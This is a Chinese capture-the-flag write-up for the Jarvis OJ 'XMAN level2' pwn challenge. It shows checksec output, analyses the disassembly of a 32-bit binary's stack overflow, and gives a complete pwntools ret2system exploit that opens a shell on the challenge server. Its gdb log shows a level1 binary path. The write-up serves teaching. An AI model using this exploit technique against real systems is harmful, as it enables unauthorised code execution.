在 Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level2.
题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。
首先使用 file
命令查看文件
file level2.54931449c557d0551c4fc2a10f4778a1
level2.54931449c557d0551c4fc2a10f4778a1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
程序是32位 ELF 文件
使用 checksec
查看文件保护机制 (gdb peda插件)
gdb ./level2.54931449c557d0551c4fc2a10f4778a1
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
程序启用了 NX (栈不可执行)
用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
system("echo Input:");
return read(0, &buf, 0x100u);
}
但是,程序并开启了 NX 保护机制,因此栈中的代码不可执行。不过程序中调用了 libc
的 system
函数,并且发现程序中有 /bin/sh
字符串,因此只要构造 payload 覆盖返回地址,将程序转到 libc
的 system
函数处执行,并在栈中设置好函数参数,使程序执行 system(/bin/sh)
即可得到 shell。
要注意的是,通过溢出覆盖返回地址(ret
)将程序转到 system 函数后,system 函数仍然会认为程序是通过 call system
指令正常调用的,因此认为当前栈顶(ret+4
)是执行完 system
函数后的返回地址,次栈顶(ret+8
)为参数。因此构造 payload 时,system
函数地址与参数(/bin/sh
)之间隔了一个 4 字节的返回地址。
接下来确定溢出点的位置,使用 pattern 来计算
这里要注意,peda 默认会设置 gdb 的 follow-fork-mode
参数为 child ,即跟踪调试子程序,而我们要跟踪的是主程序,因此在调试前需要设置参数
gdb-peda$ show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".
gdb-peda$ set follow-fork-mode parent
gdb-peda$ pattern create 150 payload
Writing pattern of 150 chars to filename "payload"
gdb-peda$ run < payload
Starting program: /home/xxx/pwn/XMAN/level1/level1.80eacdcd51aca92af7749d96efad7fb5 < payload
What's this:0xffffcde0?
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140
成功计算出溢出点偏移为140字节
此外,同样可以直接阅读反汇编代码,计算溢出点
.text:0804844B public vulnerable_function
.text:0804844B vulnerable_function proc near ; CODE XREF: main+11p
.text:0804844B
.text:0804844B buf = byte ptr -88h
.text:0804844B
.text:0804844B push ebp
.text:0804844C mov ebp, esp
.text:0804844E sub esp, 88h
.text:08048454 sub esp, 0Ch
.text:08048457 push offset command ; "echo Input:"
.text:0804845C call _system
.text:08048461 add esp, 10h
.text:08048464 sub esp, 4
.text:08048467 push 100h ; nbytes
.text:0804846C lea eax, [ebp+buf]
.text:08048472 push eax ; buf
.text:08048473 push 0 ; fd
.text:08048475 call _read
.text:0804847A add esp, 10h
.text:0804847D nop
.text:0804847E leave
.text:0804847F retn
.text:0804847F vulnerable_function endp
从 vulnerable_function 代码中可以看出,在栈帧中缓冲区在 ebp-88h
处,因此 ebp
相对缓冲区的偏移为 0x88
,返回地址的偏移为 0x88+0x4=0x8C(140)
。
使用 pwntools 编写 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from pwn import *
def main(local=False):
if local:
context.log_level = 'debug'
io = process('./level2.54931449c557d0551c4fc2a10f4778a1')
else:
context.log_level = 'info'
io = remote('pwn2.jarvisoj.com', 9878)
elf = ELF('./level2.54931449c557d0551c4fc2a10f4778a1')
system_addr = elf.symbols['system']
binsh_addr = elf.search('/bin/sh').next()
payload = 'A' * 140
payload += p32(system_addr)
payload += 'AAAA'
payload += p32(binsh_addr)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
main(True)
else:
main()